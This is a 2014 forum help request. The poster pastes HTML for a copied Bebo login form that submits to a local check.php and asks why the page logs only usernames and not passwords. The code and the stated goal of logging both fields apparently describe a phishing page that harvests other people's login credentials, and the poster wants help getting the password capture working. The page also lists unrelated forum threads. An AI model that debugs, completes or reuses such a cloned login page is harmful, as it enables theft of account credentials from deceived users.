PHP Logging Error
Posted on
16th Feb 2014 07:03 pm by
admin
When running the script on website it doesn't copy both input boxes, Only the user and not the password, Any help would be great.. Heres the code, It's suppose to log the username and the password, but only the username comes up :|
Code: [Select]
<!-- Begin Login Form -->
<div id="login-box">
<a href="http://bebo.com/LostPassword.jsp" class="lost-password">Lost Password</a>
<h2>Login</h2>
<form id="login-form" action="check.php" method="post">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td><input type="text" id="username" name="EmailUsername" value="Email or Username" class="field" /></td>
<td>
<input type="text" id="passwordHolder" name="PasswordHolder" value="Password" class="field" />
<input type="password" id="password" name="Password" value="" class="field" style="display:none;" />
</td>
</tr>
<tr>
<td colspan="2" id="remember-field">
<input type="image" id="login-button" src="http://s.bebo.com/img/page/login-btn.png" alt="Login" name="SignIn" value="Sign In" />
<input type="checkbox" id="RememberMe" name="RememberMe" value="Y" />
<label for="RememberMe">Automagically for 2 weeks</label>
</td>
</tr>
</tbody>
</table>
</form>
<!-- form label/focus script -->
<script language="javascript">
if($defined($('username'))) { //not logged in
emptyUsernameText = $('username').value;
$('username').addEvent('focus', function(event) {
if(emptyUsernameText==this.value)
this.value = "";
});
$('username').addEvent('blur', function(event) {
if(this.value.trim()=="")
this.value = emptyUsernameText;
});
$('passwordHolder').addEvent('focus',function(event) {
this.setStyle('display','none');
$('password').setStyle('display','inline');
$('password').focus();
});
$('password').addEvent('blur',function(event) {
if(this.value.trim() == "") {
this.setStyle('display','none');
$('passwordHolder').setStyle('display','inline');
}
});
}
</script>
<div id="login-links">
<span id="more-info"></span>
<span id="sign-up"><a href="http://bebo.com/InviteJoin.jsp?Member=N">SIGN UP</a></span>
</div>
</div>
<!-- End Login Form -->
No comments posted yet
Your Answer:
Login to answer
184
6
Other forums
Echo Tweaking help!
HI. I would like to have the output of the entered variables repeat forever, but it's stopping at th
Collecting AOL Search Terms
I am attempting to collect AOL search terms. I know the code is correct (it works for google, bing,
regex for quoted text within a string
I am still getting the hang of regex expressions, but I cant seem to figure out how I would escape q
Automatically Detect Phone Model for WAP Jar Deployment
Making a wap site is fairly simple, but I'd like to know if there's a way to make it so that the wap
dynamic table with forms
I have a table that is populated with mysql data and in teh first column there is a raido button tha
Need Help with a query
Hello,
For some reason I am just not getting the right answer when I do this query and not quite
Calender Not Opening
The following code is not loading the javascript calender in another window. It's not doing anything
cURL and Sessions
Ohai.
So, I'm trying to cURL a bunch of things off of a page, and put them into a session. I'
Internal class functions don't seem to get executed.
Hi. Can someone please put me out of my misery on this. I don't write much PHP and this has me baffl
array & querys help/advice.
Ok so here goes , I have a mysql database and basically here's what I need to do.
// foreach